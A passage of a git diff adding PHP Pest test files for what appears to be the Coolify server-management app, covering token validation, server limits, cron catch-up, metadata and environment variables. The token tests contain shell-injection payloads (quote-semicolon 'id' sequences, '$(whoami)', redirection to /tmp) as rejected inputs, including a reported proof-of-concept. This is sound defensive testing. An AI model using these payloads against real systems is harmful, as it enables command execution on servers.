||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$user = User::factory()->create();
|
||||
$this->team = $user->teams()->first();
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
describe('ServerSetting::isValidSentinelToken', function () {
|
||||
it('accepts alphanumeric tokens', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc123'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts tokens with dots, hyphens, and underscores', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('my-token_v2.0'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts long base64-like encrypted tokens', function () {
|
||||
$token = 'eyJpdiI6IjRGN0V4YnRkZ1p0UXdBPT0iLCJ2YWx1ZSI6IjZqQT0iLCJtYWMiOiIxMjM0NTY3ODkwIn0';
|
||||
expect(ServerSetting::isValidSentinelToken($token))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts tokens with base64 characters (+, /, =)', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc+def/ghi='))->toBeTrue();
|
||||
});
|
||||
|
||||
it('rejects tokens with double quotes', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc" ; id ; echo "'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with single quotes', function () {
|
||||
expect(ServerSetting::isValidSentinelToken("abc' ; id ; echo '"))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with semicolons', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc;id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with backticks', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc`id`'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with dollar sign command substitution', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc$(whoami)'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with spaces', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc def'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with newlines', function () {
|
||||
expect(ServerSetting::isValidSentinelToken("abc\nid"))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with pipe operator', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc|id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with ampersand', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc&&id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with redirection operators', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc>/tmp/pwn'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects empty strings', function () {
|
||||
expect(ServerSetting::isValidSentinelToken(''))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects the reported PoC payload', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc" ; id >/tmp/coolify_poc_sentinel ; echo "'))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('generated sentinel tokens are valid', function () {
|
||||
it('generates tokens that pass format validation', function () {
|
||||
$settings = $this->server->settings;
|
||||
$settings->generateSentinelToken(save: false, ignoreEvent: true);
|
||||
$token = $settings->sentinel_token;
|
||||
|
||||
expect($token)->not->toBeEmpty();
|
||||
expect(ServerSetting::isValidSentinelToken($token))->toBeTrue();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ServerLimitCheckJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
Notification::fake();
|
||||
|
||||
$this->team = Team::factory()->create(['custom_server_limit' => 5]);
|
||||
});
|
||||
|
||||
function createServerForTeam(Team $team, bool $forceDisabled = false): Server
|
||||
{
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
if ($forceDisabled) {
|
||||
$server->settings()->update(['force_disabled' => true]);
|
||||
}
|
||||
|
||||
return $server->fresh(['settings']);
|
||||
}
|
||||
|
||||
it('re-enables force-disabled servers when under the limit', function () {
|
||||
createServerForTeam($this->team);
|
||||
$server2 = createServerForTeam($this->team, forceDisabled: true);
|
||||
$server3 = createServerForTeam($this->team, forceDisabled: true);
|
||||
|
||||
expect($server2->settings->force_disabled)->toBeTruthy();
|
||||
expect($server3->settings->force_disabled)->toBeTruthy();
|
||||
|
||||
// 3 servers, limit 5 → all should be re-enabled
|
||||
ServerLimitCheckJob::dispatchSync($this->team);
|
||||
|
||||
expect($server2->fresh()->settings->force_disabled)->toBeFalsy();
|
||||
expect($server3->fresh()->settings->force_disabled)->toBeFalsy();
|
||||
});
|
||||
|
||||
it('re-enables force-disabled servers when exactly at the limit', function () {
|
||||
$this->team->update(['custom_server_limit' => 3]);
|
||||
|
||||
createServerForTeam($this->team);
|
||||
createServerForTeam($this->team);
|
||||
$server3 = createServerForTeam($this->team, forceDisabled: true);
|
||||
|
||||
// 3 servers, limit 3 → disabled one should be re-enabled
|
||||
ServerLimitCheckJob::dispatchSync($this->team);
|
||||
|
||||
expect($server3->fresh()->settings->force_disabled)->toBeFalsy();
|
||||
});
|
||||
|
||||
it('disables newest servers when over the limit', function () {
|
||||
$this->team->update(['custom_server_limit' => 2]);
|
||||
|
||||
$oldest = createServerForTeam($this->team);
|
||||
sleep(1);
|
||||
$middle = createServerForTeam($this->team);
|
||||
sleep(1);
|
||||
$newest = createServerForTeam($this->team);
|
||||
|
||||
// 3 servers, limit 2 → newest 1 should be disabled
|
||||
ServerLimitCheckJob::dispatchSync($this->team);
|
||||
|
||||
expect($oldest->fresh()->settings->force_disabled)->toBeFalsy();
|
||||
expect($middle->fresh()->settings->force_disabled)->toBeFalsy();
|
||||
expect($newest->fresh()->settings->force_disabled)->toBeTruthy();
|
||||
});
|
||||
|
||||
it('does not change servers when under limit and none are force-disabled', function () {
|
||||
$server1 = createServerForTeam($this->team);
|
||||
$server2 = createServerForTeam($this->team);
|
||||
|
||||
// 2 servers, limit 5 → nothing to do
|
||||
ServerLimitCheckJob::dispatchSync($this->team);
|
||||
|
||||
expect($server1->fresh()->settings->force_disabled)->toBeFalsy();
|
||||
expect($server2->fresh()->settings->force_disabled)->toBeFalsy();
|
||||
});
|
||||
@@ -0,0 +1,88 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
beforeEach(function () {
|
||||
Cache::flush();
|
||||
});
|
||||
|
||||
it('catches delayed sentinel restart when job runs past midnight', function () {
|
||||
Cache::put('sentinel-restart:1', Carbon::create(2026, 2, 27, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// Job runs 3 minutes late at 00:03
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC'));
|
||||
|
||||
// isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today
|
||||
// lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires
|
||||
$result = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed weekly patch check when job runs past the cron minute', function () {
|
||||
Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// This Sunday at 00:02 — job was delayed 2 minutes (2026-03-01 is a Sunday)
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed storage check when job runs past the cron minute', function () {
|
||||
Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 23 * * *', 'UTC', 'server-storage-check:5');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('seeds cache on non-due first run so weekly catch-up works', function () {
|
||||
// Wednesday at 10:00 — weekly cron (Sunday 00:00) is not due
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 25, 10, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
|
||||
expect($result)->toBeFalse();
|
||||
|
||||
// Verify cache was seeded
|
||||
expect(Cache::get('server-patch-check:seed-test'))->not->toBeNull();
|
||||
|
||||
// Next Sunday at 00:02 — delayed 2 minutes past cron
|
||||
// Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 22 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
|
||||
|
||||
$result2 = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
|
||||
expect($result2)->toBeTrue();
|
||||
});
|
||||
|
||||
it('daily cron fires after cache seed even when delayed past the minute', function () {
|
||||
// Step 1: 15:00 — not due for midnight cron, but seeds cache
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
|
||||
|
||||
$result1 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
|
||||
expect($result1)->toBeFalse();
|
||||
|
||||
// Step 2: Next day at 00:05 — delayed 5 minutes past midnight
|
||||
// Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 28 00:00 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 5, 0, 'UTC'));
|
||||
|
||||
$result2 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
|
||||
expect($result2)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch within same cron window', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC'));
|
||||
|
||||
$first = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
// Next minute — should NOT dispatch again
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC'));
|
||||
|
||||
$second = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,119 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Server\ValidateAndInstall;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$user->teams()->attach($this->team);
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('casts server_metadata as array', function () {
|
||||
$metadata = [
|
||||
'os' => 'Ubuntu 22.04.3 LTS',
|
||||
'arch' => 'x86_64',
|
||||
'kernel' => '5.15.0-91-generic',
|
||||
'cpus' => 4,
|
||||
'memory_bytes' => 8589934592,
|
||||
'uptime_since' => '2024-01-15 10:30:00',
|
||||
'collected_at' => now()->toIso8601String(),
|
||||
];
|
||||
|
||||
$this->server->update(['server_metadata' => $metadata]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->server_metadata)->toBeArray()
|
||||
->and($this->server->server_metadata['os'])->toBe('Ubuntu 22.04.3 LTS')
|
||||
->and($this->server->server_metadata['cpus'])->toBe(4)
|
||||
->and($this->server->server_metadata['memory_bytes'])->toBe(8589934592);
|
||||
});
|
||||
|
||||
it('stores null server_metadata by default', function () {
|
||||
expect($this->server->server_metadata)->toBeNull();
|
||||
});
|
||||
|
||||
it('includes server_metadata in fillable', function () {
|
||||
$this->server->fill(['server_metadata' => ['os' => 'Test']]);
|
||||
|
||||
expect($this->server->server_metadata)->toBe(['os' => 'Test']);
|
||||
});
|
||||
|
||||
it('persists and retrieves full server metadata structure', function () {
|
||||
$metadata = [
|
||||
'os' => 'Debian GNU/Linux 12 (bookworm)',
|
||||
'arch' => 'aarch64',
|
||||
'kernel' => '6.1.0-17-arm64',
|
||||
'cpus' => 8,
|
||||
'memory_bytes' => 17179869184,
|
||||
'uptime_since' => '2024-03-01 08:00:00',
|
||||
'collected_at' => '2024-03-10T12:00:00+00:00',
|
||||
];
|
||||
|
||||
$this->server->update(['server_metadata' => $metadata]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->server_metadata)
|
||||
->toHaveKeys(['os', 'arch', 'kernel', 'cpus', 'memory_bytes', 'uptime_since', 'collected_at'])
|
||||
->and($this->server->server_metadata['os'])->toBe('Debian GNU/Linux 12 (bookworm)')
|
||||
->and($this->server->server_metadata['arch'])->toBe('aarch64')
|
||||
->and($this->server->server_metadata['cpus'])->toBe(8)
|
||||
->and(round($this->server->server_metadata['memory_bytes'] / 1073741824, 1))->toBe(16.0);
|
||||
});
|
||||
|
||||
it('returns null from gatherServerMetadata when server is not functional', function () {
|
||||
$this->server->settings->update([
|
||||
'is_reachable' => false,
|
||||
'is_usable' => false,
|
||||
]);
|
||||
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->gatherServerMetadata())->toBeNull();
|
||||
});
|
||||
|
||||
it('can overwrite server_metadata with new values', function () {
|
||||
$this->server->update(['server_metadata' => ['os' => 'Ubuntu 20.04', 'cpus' => 2]]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->server_metadata['os'])->toBe('Ubuntu 20.04');
|
||||
|
||||
$this->server->update(['server_metadata' => ['os' => 'Ubuntu 22.04', 'cpus' => 4]]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->server_metadata['os'])->toBe('Ubuntu 22.04')
|
||||
->and($this->server->server_metadata['cpus'])->toBe(4);
|
||||
});
|
||||
|
||||
it('calls gatherServerMetadata during ValidateAndInstall when docker version is valid', function () {
|
||||
$serverMock = Mockery::mock($this->server)->makePartial();
|
||||
$serverMock->shouldReceive('isSwarm')->andReturn(false);
|
||||
$serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn('24.0.0');
|
||||
$serverMock->shouldReceive('gatherServerMetadata')->once();
|
||||
$serverMock->shouldReceive('isBuildServer')->andReturn(false);
|
||||
|
||||
Livewire::test(ValidateAndInstall::class, ['server' => $serverMock])
|
||||
->call('validateDockerVersion');
|
||||
});
|
||||
|
||||
it('does not call gatherServerMetadata when docker version validation fails', function () {
|
||||
$serverMock = Mockery::mock($this->server)->makePartial();
|
||||
$serverMock->shouldReceive('isSwarm')->andReturn(false);
|
||||
$serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn(false);
|
||||
$serverMock->shouldNotReceive('gatherServerMetadata');
|
||||
|
||||
Livewire::test(ValidateAndInstall::class, ['server' => $serverMock])
|
||||
->call('validateDockerVersion');
|
||||
});
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = $this->project->environments()->first();
|
||||
});
|
||||
|
||||
function serviceContainerLabelAuthHeaders($bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/services/{uuid}', function () {
|
||||
test('accepts is_container_label_escape_enabled field', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/services/{$service->uuid}", [
|
||||
'is_container_label_escape_enabled' => false,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
|
||||
$service->refresh();
|
||||
expect($service->is_container_label_escape_enabled)->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects invalid is_container_label_escape_enabled value', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/services/{$service->uuid}", [
|
||||
'is_container_label_escape_enabled' => 'not-a-boolean',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,171 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Feature tests to verify that magic (referenced) SERVICE_URL_/SERVICE_FQDN_
|
||||
* variables do not overwrite values set by direct template declarations or updateCompose().
|
||||
*
|
||||
* This tests the fix for GitHub issue #8912 where generic SERVICE_URL and SERVICE_FQDN
|
||||
* variables remained stale after changing a service domain in the UI, while
|
||||
* port-specific variants updated correctly.
|
||||
*
|
||||
* Root cause: The magic variables section in serviceParser() used updateOrCreate()
|
||||
* which overwrote values from direct template declarations with auto-generated FQDNs.
|
||||
* Fix: Changed to firstOrCreate() so magic references don't overwrite existing values.
|
||||
*
|
||||
* IMPORTANT: These tests require database access and must be run inside Docker:
|
||||
* docker exec coolify php artisan test --filter ServiceMagicVariableOverwriteTest
|
||||
*/
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('generic SERVICE_URL/FQDN vars update after domain change when referenced by other services', function () {
|
||||
$server = Server::factory()->create([
|
||||
'name' => 'test-server',
|
||||
'ip' => '127.0.0.1',
|
||||
]);
|
||||
|
||||
// Compose template where:
|
||||
// - nginx directly declares SERVICE_FQDN_NGINX_8080 (Section 1)
|
||||
// - backend references ${SERVICE_URL_NGINX} and ${SERVICE_FQDN_NGINX} (Section 2 - magic)
|
||||
$template = <<<'YAML'
|
||||
services:
|
||||
nginx:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- SERVICE_FQDN_NGINX_8080
|
||||
ports:
|
||||
- "8080:80"
|
||||
backend:
|
||||
image: node:20-alpine
|
||||
environment:
|
||||
- PUBLIC_URL=${SERVICE_URL_NGINX}
|
||||
- PUBLIC_FQDN=${SERVICE_FQDN_NGINX}
|
||||
YAML;
|
||||
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'name' => 'test-service',
|
||||
'docker_compose_raw' => $template,
|
||||
]);
|
||||
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'nginx',
|
||||
'fqdn' => null,
|
||||
]);
|
||||
|
||||
// Initial parse - generates auto FQDNs
|
||||
$service->parse();
|
||||
|
||||
$baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first();
|
||||
$baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first();
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first();
|
||||
|
||||
// All four variables should exist after initial parse
|
||||
expect($baseUrl)->not->toBeNull('SERVICE_URL_NGINX should exist');
|
||||
expect($baseFqdn)->not->toBeNull('SERVICE_FQDN_NGINX should exist');
|
||||
expect($portUrl)->not->toBeNull('SERVICE_URL_NGINX_8080 should exist');
|
||||
expect($portFqdn)->not->toBeNull('SERVICE_FQDN_NGINX_8080 should exist');
|
||||
|
||||
// Now simulate user changing domain via UI (EditDomain::submit flow)
|
||||
$serviceApp->fqdn = 'https://my-nginx.example.com:8080';
|
||||
$serviceApp->save();
|
||||
|
||||
// updateCompose() runs first (sets correct values)
|
||||
updateCompose($serviceApp);
|
||||
|
||||
// Then parse() runs (should NOT overwrite the correct values)
|
||||
$service->parse();
|
||||
|
||||
// Reload all variables
|
||||
$baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first();
|
||||
$baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first();
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first();
|
||||
|
||||
// ALL variables should reflect the custom domain
|
||||
expect($baseUrl->value)->toBe('https://my-nginx.example.com')
|
||||
->and($baseFqdn->value)->toBe('my-nginx.example.com')
|
||||
->and($portUrl->value)->toBe('https://my-nginx.example.com:8080')
|
||||
->and($portFqdn->value)->toBe('my-nginx.example.com:8080');
|
||||
})->skip('Requires database - run in Docker');
|
||||
|
||||
test('magic variable references do not overwrite direct template declarations on initial parse', function () {
|
||||
$server = Server::factory()->create([
|
||||
'name' => 'test-server',
|
||||
'ip' => '127.0.0.1',
|
||||
]);
|
||||
|
||||
// Backend references the port-specific variable via magic syntax
|
||||
$template = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- SERVICE_FQDN_APP_3000
|
||||
ports:
|
||||
- "3000:3000"
|
||||
worker:
|
||||
image: node:20-alpine
|
||||
environment:
|
||||
- API_URL=${SERVICE_URL_APP_3000}
|
||||
YAML;
|
||||
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'name' => 'test-service',
|
||||
'docker_compose_raw' => $template,
|
||||
]);
|
||||
|
||||
ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'app',
|
||||
'fqdn' => null,
|
||||
]);
|
||||
|
||||
// Parse the service
|
||||
$service->parse();
|
||||
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_APP_3000')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_APP_3000')->first();
|
||||
|
||||
// Port-specific vars should have port as a URL port suffix (:3000),
|
||||
// NOT baked into the subdomain (app-3000-uuid.sslip.io)
|
||||
expect($portUrl)->not->toBeNull();
|
||||
expect($portFqdn)->not->toBeNull();
|
||||
expect($portUrl->value)->toContain(':3000');
|
||||
// The domain should NOT have 3000 in the subdomain
|
||||
$urlWithoutPort = str($portUrl->value)->before(':3000')->value();
|
||||
expect($urlWithoutPort)->not->toContain('3000');
|
||||
})->skip('Requires database - run in Docker');
|
||||
|
||||
test('parsers.php uses firstOrCreate for magic variable references', function () {
|
||||
$parsersFile = file_get_contents(base_path('bootstrap/helpers/parsers.php'));
|
||||
|
||||
// Find the magic variables section (Section 2) which processes ${SERVICE_*} references
|
||||
// It should use firstOrCreate, not updateOrCreate, to avoid overwriting values
|
||||
// set by direct template declarations (Section 1) or updateCompose()
|
||||
|
||||
// Look for the specific pattern: the magic variables section creates FQDN and URL pairs
|
||||
// after the "Also create the paired SERVICE_URL_*" and "Also create the paired SERVICE_FQDN_*" comments
|
||||
|
||||
// Extract the magic variables section (between "$magicEnvironments->count()" and the end of the foreach)
|
||||
$magicSectionStart = strpos($parsersFile, '$magicEnvironments->count() > 0');
|
||||
expect($magicSectionStart)->not->toBeFalse('Magic variables section should exist');
|
||||
|
||||
$magicSection = substr($parsersFile, $magicSectionStart, 5000);
|
||||
|
||||
// Count updateOrCreate vs firstOrCreate in the magic section
|
||||
$updateOrCreateCount = substr_count($magicSection, 'updateOrCreate');
|
||||
$firstOrCreateCount = substr_count($magicSection, 'firstOrCreate');
|
||||
|
||||
// Magic section should use firstOrCreate for SERVICE_URL/FQDN variables
|
||||
expect($firstOrCreateCount)->toBeGreaterThanOrEqual(4, 'Magic variables section should use firstOrCreate for SERVICE_URL/FQDN pairs')
|
||||
->and($updateOrCreateCount)->toBe(0, 'Magic variables section should not use updateOrCreate for SERVICE_URL/FQDN variables');
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Settings\Updates;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Once;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('non-admin user is redirected from settings updates page', function () {
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
||||
$team->members()->attach($user->id, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => ['id' => $team->id]]);
|
||||
|
||||
Livewire::test(Updates::class)
|
||||
->assertRedirect(route('dashboard'));
|
||||
});
|
||||
|
||||
test('instance admin can access settings updates page', function () {
|
||||
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
|
||||
Server::factory()->create(['id' => 0, 'team_id' => $rootTeam->id]);
|
||||
InstanceSettings::create(['id' => 0]);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$rootTeam->members()->attach($user->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::test(Updates::class)
|
||||
->assertOk()
|
||||
->assertNoRedirect();
|
||||
});
|
||||
@@ -0,0 +1,128 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables resolves environment-scoped variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'DRAGONFLY_URL',
|
||||
'value' => 'redis://dragonfly:6379',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('{{environment.DRAGONFLY_URL}}', $this->application);
|
||||
expect($resolved)->toBe('redis://dragonfly:6379');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables resolves project-scoped variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'DB_HOST',
|
||||
'value' => 'postgres.internal',
|
||||
'type' => 'project',
|
||||
'project_id' => $this->project->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('{{project.DB_HOST}}', $this->application);
|
||||
expect($resolved)->toBe('postgres.internal');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables resolves team-scoped variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'GLOBAL_API_KEY',
|
||||
'value' => 'sk-123456',
|
||||
'type' => 'team',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('{{team.GLOBAL_API_KEY}}', $this->application);
|
||||
expect($resolved)->toBe('sk-123456');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables returns original when no match found', function () {
|
||||
$resolved = resolveSharedEnvironmentVariables('{{environment.NONEXISTENT}}', $this->application);
|
||||
